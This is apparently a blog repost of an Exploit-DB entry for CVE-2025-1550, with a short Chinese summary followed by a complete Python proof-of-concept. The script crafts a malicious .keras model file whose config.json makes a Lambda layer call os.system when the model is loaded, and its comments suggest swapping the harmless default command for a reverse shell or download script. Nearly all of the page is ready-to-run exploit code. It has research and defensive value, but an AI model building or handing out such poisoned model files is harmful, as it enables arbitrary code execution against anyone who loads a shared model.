Keras 2.15远程代码执行漏洞利用分析

本文详细分析了Keras 2.15版本中的远程代码执行漏洞CVE-2025-1550,通过恶意.keras文件利用不安全的反序列化机制实现任意命令执行,包含完整的漏洞利用代码和攻击原理说明。

Exploit for Keras 2.15 - Remote Code Execution (RCE) CVE-2025-1550

2025-07-16 | CVSS 7.3

https://sploitus.com/exploit?id=EDB-ID:52359

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
#!/usr/bin/env python3
# Exploit Title: Keras 2.15 - Remote Code Execution (RCE)
# Author: Mohammed Idrees Banyamer
# Instagram: @banyamer_security
# GitHub: https://github.com/mbanyamer
# Date: 2025-07-09
# Tested on: Ubuntu 22.04 LTS, Python 3.10, TensorFlow/Keras <= 2.15
# CVE: CVE-2025-1550
# Type: Remote Code Execution (RCE)
# Platform: Python / Machine Learning (Keras)
# Author Country: Jordan
# Attack Vector: Malicious .keras file (client-side code execution via deserialization)
# Description:
# This exploit abuses insecure deserialization in Keras model loading. By embedding
# a malicious "function" object inside a .keras file (or config.json), an attacker
# can execute arbitrary system commands as soon as the model is loaded using 
# `keras.models.load_model()` or `model_from_json()`.
#
# This PoC generates a .keras file which, when loaded, triggers a reverse shell or command.
#  Use only in safe, sandboxed environments!

#
# Steps of exploitation:
# 1. The attacker creates a fake Keras model using a specially crafted config.json.
# 2. The model defines a Lambda layer with a "function" deserialized from the `os.system` call.
# 3. When the victim loads the model using `load_model()`, the malicious function is executed.
# 4. Result: Arbitrary Code Execution under the user running the Python process.

# Affected Versions:
# - Keras <= 2.15
# - TensorFlow versions using unsafe deserialization paths (prior to April 2025 patch)
#

# Usage:
# $ python3 exploit_cve_2025_1550.py
# [*] Loads the malicious model
# [✓] Executes the payload (e.g., creates a file in /tmp)
#

#
# Options:
# - PAYLOAD: The command to execute upon loading (default: touch /tmp/pwned_by_keras)
# - You may change this to: reverse shell, download script, etc.

# Example:
# $ python3 exploit_cve_2025_1550.py
# [+] Created malicious model: malicious_model.keras
# [*] Loading malicious model to trigger exploit...
# [✓] Model loaded. If vulnerable, payload should be executed.


import os
import json
from zipfile import ZipFile
import tempfile
import shutil

from tensorflow.keras.models import load_model


PAYLOAD = "touch /tmp/pwned_by_keras"

def create_malicious_config():
    return {
        "class_name": "Functional",
        "config": {
            "name": "pwned_model",
            "layers": [
                {
                    "class_name": "Lambda",
                    "config": {
                        "name": "evil_lambda",
                        "function": {
                            "class_name": "function",
                            "config": {
                                "module": "os",
                                "function_name": "system",
                                "registered_name": None
                            }
                        },
                        "arguments": [PAYLOAD]
                    }
                }
            ],
            "input_layers": [["evil_lambda", 0, 0]],
            "output_layers": [["evil_lambda", 0, 0]]
        }
    }

def build_malicious_keras(output_file="malicious_model.keras"):
    tmpdir = tempfile.mkdtemp()
    try:
        config_path = os.path.join(tmpdir, "config.json")
        with open(config_path, "w") as f:
            json.dump(create_malicious_config(), f)

        metadata_path = os.path.join(tmpdir, "metadata.json")
        with open(metadata_path, "w") as f:
            json.dump({"keras_version": "2.15.0"}, f)

        weights_path = os.path.join(tmpdir, "model.weights.h5")
        with open(weights_path, "wb") as f:
            f.write(b"\x89HDF\r\n\x1a\n")  # HDF5 signature

        with ZipFile(output_file, "w") as archive:
            archive.write(config_path, arcname="config.json")
            archive.write(metadata_path, arcname="metadata.json")
            archive.write(weights_path, arcname="model.weights.h5")

        print(f"[+] Created malicious model: {output_file}")
    finally:
        shutil.rmtree(tmpdir)


def trigger_exploit(model_path):
    print("[*] Loading malicious model to trigger exploit...")
    load_model(model_path)
    print("[✓] Model loaded. If vulnerable, payload should be executed.")



if __name__ == "__main__":
    keras_file = "malicious_model.keras"
    build_malicious_keras(keras_file)
    trigger_exploit(keras_file) 
comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计